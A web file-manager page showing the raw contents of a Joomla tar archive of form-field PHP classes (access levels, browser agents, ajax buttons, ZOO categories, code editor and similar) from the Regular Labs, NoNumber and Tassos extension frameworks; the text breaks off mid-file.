Файловый менеджер - Редактировать - /home/digilove/public_html/41423/fields.tar
Назад
accesslevel.php 0000644 00000004714 15232574454 0007567 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text as JText; use Joomla\Registry\Registry; use RegularLabs\Library\Field; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; class JFormFieldRL_AccessLevel extends Field { public $type = 'AccessLevel'; public function getAjaxRaw(Registry $attributes) { $name = $attributes->get('name', $this->type); $id = $attributes->get('id', strtolower($name)); $value = $attributes->get('value', []); $size = $attributes->get('size'); $multiple = $attributes->get('multiple'); $options = $this->getOptions( (bool) $attributes->get('show_all'), (bool) $attributes->get('use_names') ); return $this->selectList($options, $name, $value, $id, $size, $multiple); } protected function getAccessLevels($use_names = false) { $value = $use_names ? 'a.title' : 'a.id'; $query = $this->db->getQuery(true) ->select($value . ' as value, a.title as text') ->from('#__viewlevels AS a') ->group('a.id') ->order('a.ordering ASC'); $this->db->setQuery($query); return $this->db->loadObjectList(); } protected function getInput() { $size = (int) $this->get('size'); $multiple = $this->get('multiple'); $show_all = $this->get('show_all'); $use_names = $this->get('use_names'); return $this->selectListAjax( $this->type, $this->name, $this->value, $this->id, compact('size', 'multiple', 'show_all', 'use_names') ); } protected function getOptions($show_all = false, $use_names = false) { $options = $this->getAccessLevels($use_names); if ($show_all) { $option = (object) []; $option->value = -1; $option->text = '- ' . JText::_('JALL') . ' -'; $option->disable = ''; array_unshift($options, $option); } return $options; } } agents.php 0000644 00000016011 15232574454 0006550 0 ustar 00 <?php /** * Element: Agents * Displays a multiselectbox of different browsers * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_Agents extends JFormField { public $type = 'Agents'; private $params = null; protected function getInput() { $this->params = $this->element->attributes(); $group = $this->get('group'); if (!is_array($this->value)) { $this->value = explode(',', $this->value); } $agents = array(); switch ($group) { /* OS */ case 'os': $agents[] = array('Windows (' . JText::_('JALL') . ')', 'Windows'); $agents[] = array('Windows 8', 'Windows nt 6.2'); $agents[] = array('Windows 7', 'Windows nt 6.1'); $agents[] = array('Windows Vista', 'Windows nt 6.0'); $agents[] = array('Windows Server 2003', 'Windows nt 5.2'); $agents[] = array('Windows XP', 'Windows nt 5.1'); $agents[] = array('Windows 2000 sp1', 'Windows nt 5.01'); $agents[] = array('Windows 2000', 'Windows nt 5.0'); $agents[] = array('Windows NT 4.0', 'Windows nt 4.0'); $agents[] = array('Windows Me', 'Win 9x 4.9'); $agents[] = array('Windows 98', 'Windows 98'); $agents[] = array('Windows 95', 'Windows 95'); $agents[] = array('Windows CE', 'Windows ce'); $agents[] = array('Mac OS (' . JText::_('JALL') . ')', '#(Mac OS|Mac_PowerPC|Macintosh)#'); $agents[] = array('Mac OSX (' . JText::_('JALL') . ')', 'Mac OS X'); $agents[] = array('Mac OSX Mountain Lion', 'Mac OS X 10.8'); $agents[] = array('Mac OSX Lion', 'Mac OS X 10.7'); $agents[] = array('Mac OSX Snow Leopard', 'Mac OS X 10.6'); $agents[] = array('Mac OSX Leopard', 'Mac OS X 10.5'); $agents[] = array('Mac OSX Tiger', 'Mac OS X 10.4'); $agents[] = array('Mac OSX Panther', 'Mac OS X 10.3'); $agents[] = array('Mac OSX Jaguar', 'Mac OS X 10.2'); $agents[] = array('Mac OSX Puma', 'Mac OS X 10.1'); $agents[] = array('Mac OSX Cheetah', 'Mac OS X 10.0'); $agents[] = array('Mac OS (classic)', '#(Mac_PowerPC|Macintosh)#'); $agents[] = array('Linux', '#(Linux|X11)#'); $agents[] = array('Open BSD', 'OpenBSD'); $agents[] = array('Sun OS', 'SunOS'); $agents[] = array('QNX', 'QNX'); $agents[] = array('BeOS', 'BeOS'); $agents[] = array('OS/2', 'OS/2'); break; /* Browsers */ case 'browsers': $agents[] = array('Chrome (' . JText::_('JALL') . ')', 'Chrome'); $agents[] = array('Chrome 38', 'Chrome/38.'); $agents[] = array('Chrome 37', 'Chrome/37.'); $agents[] = array('Chrome 36', 'Chrome/36.'); $agents[] = array('Chrome 35', 'Chrome/35.'); $agents[] = array('Chrome 34', 'Chrome/34.'); $agents[] = array('Chrome 33', 'Chrome/33.'); $agents[] = array('Chrome 32', 'Chrome/32.'); $agents[] = array('Chrome 31', 'Chrome/31.'); $agents[] = array('Chrome 30', 'Chrome/30.'); //$agents[] = array('Chrome 31-40', '#Chrome/(3[1-9]|40)\.#'); $agents[] = array('Chrome 21-30', '#Chrome/(2[1-9]|30)\.#'); $agents[] = array('Chrome 11-20', '#Chrome/(1[1-9]|20)\.#'); $agents[] = array('Chrome 1-10', '#Chrome/([1-9]|10)\.#'); $agents[] = array('Firefox (' . JText::_('JALL') . ')', 'Firefox'); $agents[] = array('Firefox 34', 'Firefox/34.'); $agents[] = array('Firefox 33', 'Firefox/33.'); $agents[] = array('Firefox 32', 'Firefox/32.'); $agents[] = array('Firefox 31', 'Firefox/31.'); $agents[] = array('Firefox 30', 'Firefox/30.'); $agents[] = array('Firefox 29', 'Firefox/29.'); $agents[] = array('Firefox 28', 'Firefox/28.'); $agents[] = array('Firefox 27', 'Firefox/27.'); $agents[] = array('Firefox 26', 'Firefox/26.'); $agents[] = array('Firefox 25', 'Firefox/25.'); $agents[] = array('Firefox 24', 'Firefox/24.'); $agents[] = array('Firefox 23', 'Firefox/23.'); $agents[] = array('Firefox 22', 'Firefox/22.'); $agents[] = array('Firefox 21', 'Firefox/21.'); $agents[] = array('Firefox 21-30', '#Firefox/(2[1-9]|30)\.#'); $agents[] = array('Firefox 11-20', '#Firefox/(1[1-9]|20)\.#'); $agents[] = array('Firefox 1-10', '#Firefox/([1-9]|10)\.#'); $agents[] = array('Internet Explorer (' . JText::_('JALL') . ')', 'MSIE'); $agents[] = array('Internet Explorer 11', 'MSIE 11'); // missing MSIE is added to agent string in assingnments/agents.php $agents[] = array('Internet Explorer 10.6', 'MSIE 10.6'); $agents[] = array('Internet Explorer 10.0', 'MSIE 10.0'); $agents[] = array('Internet Explorer 10', 'MSIE 10.'); $agents[] = array('Internet Explorer 9', 'MSIE 9.'); $agents[] = array('Internet Explorer 8', 'MSIE 8.'); $agents[] = array('Internet Explorer 7', 'MSIE 7.'); $agents[] = array('Internet Explorer 1-6', '#MSIE [1-6]\.#'); $agents[] = array('Opera (' . JText::_('JALL') . ')', 'Opera'); $agents[] = array('Opera 26', 'Opera/26.'); $agents[] = array('Opera 25', 'Opera/25.'); $agents[] = array('Opera 24', 'Opera/24.'); $agents[] = array('Opera 23', 'Opera/23.'); $agents[] = array('Opera 22', 'Opera/22.'); $agents[] = array('Opera 21', 'Opera/21.'); $agents[] = array('Opera 11-20', '#Opera/(1[1-9]|20)\.#'); $agents[] = array('Opera 1-10', '#Opera/([1-9]|10)\.#'); $agents[] = array('Safari (' . JText::_('JALL') . ')', 'Safari'); //$agents[] = array('Safari 8', '#Version/8\..*Safari/#'); //$agents[] = array('Safari 7', '#Version/7\..*Safari/#'); $agents[] = array('Safari 6', '#Version/6\..*Safari/#'); $agents[] = array('Safari 5', '#Version/5\..*Safari/#'); $agents[] = array('Safari 4', '#Version/4\..*Safari/#'); $agents[] = array('Safari 1-3', '#Version/[1-3]\..*Safari/#'); break; /* Mobile browsers */ case 'mobile': $agents[] = array(JText::_('JALL'), 'mobile'); $agents[] = array('Android', 'Android'); $agents[] = array('Blackberry', 'Blackberry'); $agents[] = array('IE Mobile', 'IEMobile'); $agents[] = array('iPad', 'iPad'); $agents[] = array('iPhone', 'iPhone'); $agents[] = array('iPod Touch', 'iPod'); $agents[] = array('NetFront', 'NetFront'); $agents[] = array('Nokia', 'NokiaBrowser'); $agents[] = array('Opera Mini', 'Opera Mini'); $agents[] = array('Opera Mobile', 'Opera Mobi'); $agents[] = array('UC Browser', 'UC Browser'); break; } $options = array(); foreach ($agents as $agent) { $option = JHtml::_('select.option', $agent['1'], $agent['0']); $options[] = $option; } $size = (int) $this->get('size'); require_once JPATH_PLUGINS . '/system/nnframework/helpers/html.php'; return nnHtml::selectlistsimple($options, $this->name, $this->value, $this->id, $size, 1); } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } ajax.php 0000644 00000012727 15232574454 0006224 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\Language\Text as JText; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\Field; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; class JFormFieldRL_Ajax extends Field { public $type = 'Ajax'; protected function getInput() { RL_Document::loadMainDependencies(); $class = $this->get('class', 'btn'); if ($this->get('disabled')) { return $this->getButton($class . ' disabled', 'disabled'); } $loading = 'jQuery("#' . $this->id . ' span:nth-child(1)").attr("class", "icon-refresh icon-spin");'; $success = ' jQuery("#' . $this->id . '").removeClass("btn-warning").addClass("btn-success"); jQuery("#' . $this->id . ' span:nth-child(1)").attr("class", "icon-ok"); if(data){ jQuery("#message_' . $this->id . '").addClass("alert alert-success alert-noclose alert-inline").html(data); } '; $error = ' jQuery("#' . $this->id . '").removeClass("btn-success").addClass("btn-warning"); jQuery("#' . $this->id . ' span:nth-child(1)").attr("class", "icon-warning"); if(data){ let error = data; if(data.statusText) { error = data.statusText; if(data.responseText.test(/<blockquote>/)) { error = data.responseText.replace(/^[.\\\\s\\\\S]*?<blockquote>([.\\\\s\\\\S]*?)<\\\\/blockquote>[.\\\\s\\\\S]*$/gm, "$1"); } } jQuery("#message_' . $this->id . '").addClass("alert alert-danger alert-noclose alert-inline").html(error); }'; if ($this->get('success-disabled')) { $success .= ' jQuery("#' . $this->id . '").disabled = true; jQuery("#' . $this->id . '").addClass("disabled"); jQuery("#' . $this->id . '").attr("onclick", "return false;"); '; } if ($this->get('success-text') || $this->get('error-text')) { $success_text = $this->get('success-text', $this->get('text')); $error_text = $this->get('error-text', $this->get('text')); $success .= ' jQuery("#' . $this->id . ' span:nth-child(2)").text("' . addslashes(JText::_($success_text)) . '"); '; $error .= ' jQuery("#' . $this->id . ' span:nth-child(2)").text("' . addslashes(JText::_($error_text)) . '"); '; } $query = ''; $url_query = $this->get('url-query'); if ($url_query) { $name_prefix = $this->form->getFormControl() . '\\\[' . $this->group . '\\\]'; $id_prefix = $this->form->getFormControl() . '_' . $this->group . '_'; $query_parts = []; $url_query = explode(',', $url_query); foreach ($url_query as $url_query_part) { [$key, $id] = explode(':', $url_query_part); $el_name = 'document.querySelector("input[name=' . $name_prefix . '\\\[' . $id . '\\\]]:checked")'; $el_id = 'document.querySelector("#' . $id_prefix . $id . '")'; $query_parts[] = '`&' . $key . '=`' . ' + encodeURI(' . $el_name . ' ? ' . $el_name . '.value : (' . $el_id . ' ? ' . $el_id . '.value' . ' : ""))'; } $query = '+' . implode('+', $query_parts); } $script = 'function loadAjax' . $this->id . '() { ' . $loading . ' jQuery("#message_' . $this->id . '").attr("class", "").html(""); RegularLabsScripts.loadajax( `' . addslashes($this->get('url')) . '`' . $query . ', ` if(data == "" || data.substring(0,1) == "+") { data = data.trim().replace(/^[+]/, ""); ' . $success . ' } else { data = data.trim().replace(/^[-]/, ""); ' . $error . ' }`, `' . $error . '` ); }'; $script = preg_replace('#\s*\n\s*#', ' ', $script); JFactory::getDocument()->addScriptDeclaration($script); $attributes = 'onclick="loadAjax' . $this->id . '();return false;"'; return $this->getButton($class, $attributes); } private function getButton($class = 'btn', $attributes = '') { $icon = $this->get('icon', '') ? 'icon-' . $this->get('icon', '') : ''; return '<button id="' . $this->id . '" class="' . $class . '"' . ' title="' . JText::_($this->get('description')) . '"' . ' ' . $attributes . '>' . '<span class="' . $icon . '"></span> ' . '<span>' . JText::_($this->get('text', $this->get('label'))) . '</span>' . '</button>' . '<div id="message_' . $this->id . '"></div>'; } } akeebasubs.php 0000644 00000003171 15232574454 0007377 0 ustar 00 <?php /** * @author Tassos Marinos <info@tassos.gr> * @link https://www.tassos.gr * @copyright Copyright © 2024 Tassos All Rights Reserved * @license GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> or later */ // No direct access to this file // defined('_JEXEC') or die; use Joomla\CMS\Form\Field\ListField; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Factory; class JFormFieldAkeebaSubs extends ListField { /** * Method to get a list of options for a list input. * * @return array An array of options. */ protected function getOptions() { if (!NRFramework\Extension::isInstalled('akeebasubs')) { return; } $lists = $this->getLevels(); if (!count($lists)) { return; } $options = array(); foreach ($lists as $option) { $options[] = HTMLHelper::_('select.option', $option->id, $option->name); } return array_merge(parent::getOptions(), $options); } /** * Retrieve all Akeeba Subscription Levels * * @return array Subscription Levels */ private function getLevels() { // Get a db connection. $db = Factory::getDbo(); $query = $db->getQuery(true) ->select('l.akeebasubs_level_id as id, l.title AS name, l.enabled as published') ->from('#__akeebasubs_levels AS l') ->where('l.enabled > -1') ->order('l.title, l.akeebasubs_level_id'); $db->setQuery($query); return $db->loadObjectList(); } } zoo.php 0000644 00000012324 15232574454 0006101 0 ustar 00 <?php /** * Element: ZOO * Displays a multiselectbox of available ZOO categories * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/functions.php'; require_once JPATH_PLUGINS . '/system/nnframework/helpers/parameters.php'; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_ZOO extends JFormField { public $type = 'ZOO'; private $params = null; private $db = null; private $max_list_count = 0; protected function getInput() { if (!nnFrameworkFunctions::extensionInstalled('zoo')) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_FILES_NOT_FOUND', JText::_('NN_ZOO')) . '</fieldset>'; } $this->params = $this->element->attributes(); $this->db = JFactory::getDBO(); $group = $this->get('group', 'categories'); $tables = $this->db->getTableList(); if (!in_array($this->db->getPrefix() . 'zoo_' . ($group == 'applications' ? 'application' : 'category'), $tables)) { return '<fieldset class="alert alert-danger">' . JText::_('ERROR') . ': ' . JText::sprintf('NN_TABLE_NOT_FOUND', JText::_('NN_ZOO')) . '</fieldset>'; } $parameters = nnParameters::getInstance(); $params = $parameters->getPluginParams('nnframework'); $this->max_list_count = $params->max_list_count; if (!is_array($this->value)) { $this->value = explode(',', $this->value); } $options = $this->{'get' . $group}(); $size = (int) $this->get('size'); $multiple = $this->get('multiple'); require_once JPATH_PLUGINS . '/system/nnframework/helpers/html.php'; switch ($group) { case 'categories': return nnHtml::selectlist($options, $this->name, $this->value, $this->id, $size, $multiple); default: return nnHtml::selectlistsimple($options, $this->name, $this->value, $this->id, $size, $multiple); } } function getCategories() { $query = $this->db->getQuery(true) ->select('COUNT(*)') ->from('#__zoo_category AS c') ->where('c.published > -1'); $this->db->setQuery($query); $total = $this->db->loadResult(); if ($total > $this->max_list_count) { return -1; } $show_ignore = $this->get('show_ignore'); $options = array(); if ($show_ignore) { if (in_array('-1', $this->value)) { $this->value = array('-1'); } $options[] = JHtml::_('select.option', '-1', '- ' . JText::_('NN_IGNORE') . ' -', 'value', 'text', 0); $options[] = JHtml::_('select.option', '-', ' ', 'value', 'text', 1); } $query->clear() ->select('a.id, a.name') ->from('#__zoo_application AS a') ->order('a.name, a.id'); $this->db->setQuery($query); $apps = $this->db->loadObjectList(); foreach ($apps as $i => $app) { $query->clear() ->select('c.id, c.parent AS parent_id, c.name AS title, c.published') ->from('#__zoo_category AS c') ->where('c.application_id = ' . (int) $app->id) ->where('c.published > -1') ->order('c.ordering, c.name'); $this->db->setQuery($query); $items = $this->db->loadObjectList(); if ($i) { $options[] = JHtml::_('select.option', '-', ' ', 'value', 'text', 1); } // establish the hierarchy of the menu // TODO: use node model $children = array(); if ($items) { // first pass - collect children foreach ($items as $v) { $pt = $v->parent_id; $list = @$children[$pt] ? $children[$pt] : array(); array_push($list, $v); $children[$pt] = $list; } } // second pass - get an indent list of the items $list = JHtml::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0); // assemble items to the array $options[] = JHtml::_('select.option', 'app' . $app->id, '[' . $app->name . ']', 'value', 'text', 0); foreach ($list as $item) { $item->treename = ' ' . str_replace('  - ', ' ', $item->treename); $item->treename = nnText::prepareSelectItem($item->treename, $item->published); $option = JHtml::_('select.option', $item->id, $item->treename, 'value', 'text', 0); $option->level = 1; $options[] = $option; } } return $options; } function getItems() { $query = $this->db->getQuery(true) ->select('i.id, i.name, a.name as app, i.state as published') ->from('#__zoo_item AS i') ->join('LEFT', '#__zoo_application AS a ON a.id = i.application_id') ->where('i.state > -1') ->order('i.name, i.priority, i.id'); $this->db->setQuery($query); $list = $this->db->loadObjectList(); // assemble items to the array $options = array(); foreach ($list as $item) { $item->name = $item->name . ' [' . $item->id . '] [' . $item->app . ']'; $item->name = nnText::prepareSelectItem($item->name, $item->published); $options[] = JHtml::_('select.option', $item->id, $item->name, 'value', 'text', 0); } return $options; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } assignmentselection.php 0000644 00000003232 15232574454 0011346 0 ustar 00 <?php /** * @author Tassos Marinos <info@tassos.gr> * @link https://www.tassos.gr * @copyright Copyright © 2024 Tassos All Rights Reserved * @license GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> or later */ defined('JPATH_PLATFORM') or die; use Joomla\CMS\Form\Field\ListField; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use NRFramework\HTML; class JFormFieldAssignmentSelection extends ListField { /** * Assignment options * * @var array */ protected $options = array( 0 => 'JDISABLED', 1 => 'NR_INCLUDE', 2 => 'NR_EXCLUDE' ); /** * Return options list to field * * @return array */ protected function getOptions() { foreach ($this->options as $key => $value) { $options[] = HTMLHelper::_('select.option', $key, Text::_($value)); } return array_merge(parent::getOptions(), $options); } /** * Setup field with predefined classes and load its media files * * @param SimpleXMLElement $element * @param String $value * @param String $group * * @return SimpleXMLElement */ public function setup(SimpleXMLElement $element, $value, $group = NULL) { $return = parent::setup($element, $value, $group); HTMLHelper::_('jquery.framework'); HTML::script('plg_system_nrframework/assignmentselection.js'); HTML::stylesheet('plg_system_nrframework/assignmentselection.css'); $this->class = 'assignmentselection chzn-color-state'; return $return; } } block.php 0000644 00000004263 15232574454 0006367 0 ustar 00 <?php /** * @author Tassos Marinos <info@tassos.gr> * @link https://www.tassos.gr * @copyright Copyright © 2024 Tassos All Rights Reserved * @license GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> or later */ // No direct access to this file defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; require_once dirname(__DIR__) . '/helpers/field.php'; ###### Note ###### # This field is deprecated. Use NR_Well instead ###### Note ###### class JFormFieldNR_Block extends NRFormField { /** * The field type. * * @var string */ public $type = 'nr_block'; protected function getLabel() { return ''; } /** * Method to render the input field * * @return string */ protected function getInput() { HTMLHelper::stylesheet('plg_system_nrframework/fields.css', false, true); $title = $this->get('label'); $description = $this->get('description'); $class = $this->get('class'); $showclose = $this->get('showclose', 0); $start = $this->get('start', 0); $end = $this->get('end', 0); $info = $this->get("html", null); if ($info) { $info = str_replace("{{", "<", $info); $info = str_replace("}}", ">", $info); } $html = array(); if ($start || !$end) { $html[] = '</div>'; if (strpos($class, 'alert') !== false) { $html[] = '<div class="alert ' . $class . '">'; } else { $html[] = '<div class="well nr-well' . $class . '">'; } if ($title) { $html[] = '<h4>' . $this->prepareText($title) . '</h4>'; } if ($description) { $html[] = '<div class="well-desc">' . $this->prepareText($description) . $info . '</div>'; } $html[] = '<div><div>'; } if (!$start && !$end) { $html[] = '</div>'; } return '</div>' . implode('', $html); } } checkbox.php 0000644 00000005425 15232574454 0007064 0 ustar 00 <?php /** * Element: Checkbox * Displays options as checkboxes * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; class JFormFieldNN_Checkbox extends JFormField { public $type = 'Checkbox'; private $params = null; protected function getInput() { $this->params = $this->element->attributes(); JHtml::stylesheet('nnframework/style.min.css', false, true); $showcheckall = $this->get('showcheckall', 0); $checkall = ($this->value == '*'); if (!$checkall) { if (!is_array($this->value)) { $this->value = explode(',', $this->value); } } $options = array(); foreach ($this->element->children() as $option) { if ($option->getName() != 'option') { continue; } $text = trim((string) $option); $hasval = 0; if (isset($option['value'])) { $val = (string) $option['value']; $disabled = (int) $option['disabled']; $hasval = 1; } if ($hasval) { $option = '<input type="checkbox" class="nn_' . $this->id . '" id="' . $this->id . $val . '" name="' . $this->name . '[]" value="' . $val . '"'; if ($checkall || in_array($val, $this->value)) { $option .= ' checked="checked"'; } if ($disabled) { $option .= ' disabled="disabled"'; } $option .= ' /> <label for="' . $this->id . $val . '" class="checkboxes">' . JText::_($text) . '</label>'; } else { $option = '<label style="clear:both;"><strong>' . JText::_($text) . '</strong></label>'; } $options[] = $option; } $options = implode('', $options); if ($showcheckall) { $checkers = array(); if ($showcheckall) { $checkers[] = '<input id="nn_checkall_' . $this->id . '" type="checkbox" onclick=" nnScripts.checkAll( this, \'nn_' . $this->id . '\' );" /> ' . JText::_('JALL'); $js = " jQuery(document).ready(function() { nnScripts.initCheckAlls('nn_checkall_" . $this->id . "', 'nn_" . $this->id . "'); }); "; JFactory::getDocument()->addScriptDeclaration($js); } $options = implode(' ', $checkers) . '<br />' . $options; } $options .= '<input type="hidden" id="' . $this->id . 'x" name="' . $this->name . '' . '[]" value="x" checked="checked" />'; $html = array(); $html[] = '<fieldset id="' . $this->id . '" class="checkbox">'; $html[] = $options; $html[] = '</fieldset>'; return implode('', $html); } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } codeeditor.php 0000644 00000004625 15232574454 0007420 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\Editor\Editor as JEditor; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\Plugin\PluginHelper as JPluginHelper; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\Field; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; class JFormFieldRL_CodeEditor extends Field { public $type = 'CodeEditor'; protected function getInput() { $width = $this->get('width', '100%'); $height = $this->get('height', 400); $syntax = $this->get('syntax', 'html'); $editor_plugin = JPluginHelper::getPlugin('editors', 'codemirror'); if (empty($editor_plugin)) { return '<textarea name="' . $this->name . '" style="' . 'width:' . (strpos($width, '%') ? $width : $width . 'px') . ';' . 'height:' . (strpos($height, '%') ? $height : $height . 'px') . ';' . '" id="' . $this->id . '">' . $this->value . '</textarea>'; } RL_Document::script('regularlabs/codemirror.min.js'); RL_Document::stylesheet('regularlabs/codemirror.min.css'); JFactory::getDocument()->addScriptDeclaration(" jQuery(document).ready(function($) { RegularLabsCodeMirror.init('" . $this->id . "'); }); "); JFactory::getDocument()->addStyleDeclaration(" #rl_codemirror_" . $this->id . " .CodeMirror { height: " . $height . "px; min-height: " . min($height, '100') . "px; } "); return '<div class="rl_codemirror" id="rl_codemirror_' . $this->id . '">' . JEditor::getInstance('codemirror')->display( $this->name, htmlentities($this->value), $width, $height, 80, 10, false, $this->id, null, null, ['markerGutter' => false, 'activeLine' => true, 'syntax' => $syntax] ) . '</div>'; } } color.php 0000644 00000003036 15232574454 0006410 0 ustar 00 <?php /** * Element: Color * Displays a textfield with a color picker * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; jimport('joomla.form.formfield'); class JFormFieldNN_Color extends JFormField { public $type = 'Color'; protected function getInput() { $field = new nnFieldColor; return $field->getInput($this->name, $this->id, $this->value, $this->element->attributes()); } } class nnFieldColor { function getInput($name, $id, $value, $params) { $this->name = $name; $this->id = $id; $this->value = $value; $this->params = $params; $class = trim('nn_color minicolors ' . $this->get('class')); $disabled = $this->get('disabled') ? ' disabled="disabled"' : ''; JHtml::stylesheet('nnframework/color.min.css', false, true); JFactory::getDocument()->addScriptVersion(JURI::root(true) . '/media/nnframework/js/color.min.js'); $this->value = strtolower(strtoupper(preg_replace('#[^a-z0-9]#si', '', $this->value))); return '<input type="text" name="' . $this->name . '" id="' . $this->id . '" class="' . $class . '" value="' . $this->value . '"' . $disabled . '>'; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } components.php 0000644 00000006320 15232574454 0007456 0 ustar 00 <?php /** * Element: Components * Displays a list of components with check boxes * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; class JFormFieldNN_Components extends JFormField { public $type = 'Components'; private $params = null; private $db = null; protected function getInput() { $this->params = $this->element->attributes(); $this->db = JFactory::getDBO(); $frontend = $this->get('frontend', 1); $admin = $this->get('admin', 1); $size = (int) $this->get('size'); if (!$frontend && !$admin) { return ''; } $components = $this->getComponents($frontend, $admin); $options = array(); foreach ($components as $component) { $options[] = JHtml::_('select.option', $component->element, $component->name); } require_once JPATH_PLUGINS . '/system/nnframework/helpers/html.php'; return nnHtml::selectlistsimple($options, $this->name, $this->value, $this->id, $size, 1); } function getComponents($frontend = 1, $admin = 1) { jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $query = $this->db->getQuery(true) ->select('e.name, e.element') ->from('#__extensions AS e') ->where('e.type = ' . $this->db->quote('component')) ->where('e.name != ""') ->where('e.element != ""') ->group('e.element') ->order('e.element, e.name'); $this->db->setQuery($query); $components = $this->db->loadObjectList(); $comps = array(); $lang = JFactory::getLanguage(); foreach ($components as $i => $component) { // return if there is no main component folder if (!($frontend && JFolder::exists(JPATH_SITE . '/components/' . $component->element)) && !($admin && JFolder::exists(JPATH_ADMINISTRATOR . '/components/' . $component->element)) ) { continue; } // return if there is no views folder if (!($frontend && JFolder::exists(JPATH_SITE . '/components/' . $component->element . '/views')) && !($admin && JFolder::exists(JPATH_ADMINISTRATOR . '/components/' . $component->element . '/views')) ) { continue; } if (!empty($component->element)) { // Load the core file then // Load extension-local file. $lang->load($component->element . '.sys', JPATH_BASE, null, false, false) || $lang->load($component->element . '.sys', JPATH_ADMINISTRATOR . '/components/' . $component->element, null, false, false) || $lang->load($component->element . '.sys', JPATH_BASE, $lang->getDefault(), false, false) || $lang->load($component->element . '.sys', JPATH_ADMINISTRATOR . '/components/' . $component->element, $lang->getDefault(), false, false); } $component->name = JText::_(strtoupper($component->name)); $comps[preg_replace('#[^a-z0-9_]#i', '', $component->name . '_' . $component->element)] = $component; } ksort($comps); return $comps; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } conditionselection.php 0000644 00000010725 15232574454 0011171 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\Language\Text as JText; use RegularLabs\Library\Field; use RegularLabs\Library\ShowOn as RL_ShowOn; use RegularLabs\Library\StringHelper as RL_String; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; class JFormFieldRL_ConditionSelection extends Field { public $type = 'ConditionSelection'; protected function closeShowOn() { return RL_ShowOn::close(); } protected function getInput() { $this->value = (int) $this->value; $label = $this->get('label'); $param_name = $this->get('name'); $use_main_switch = $this->get('use_main_switch', 1); $showclose = $this->get('showclose', 0); $html = []; if ( ! $label) { if ($use_main_switch) { $html[] = $this->closeShowOn(); } $html[] = $this->closeShowOn(); return '</div>' . implode('', $html); } $label = RL_String::html_entity_decoder(JText::_($label)); $html[] = '</div>'; if ($use_main_switch) { $html[] = $this->openShowOn('show_conditions:1[OR]show_assignments:1[OR]' . $param_name . ':1,2'); } $class = 'well well-small rl_well'; if ($this->value === 1) { $class .= ' 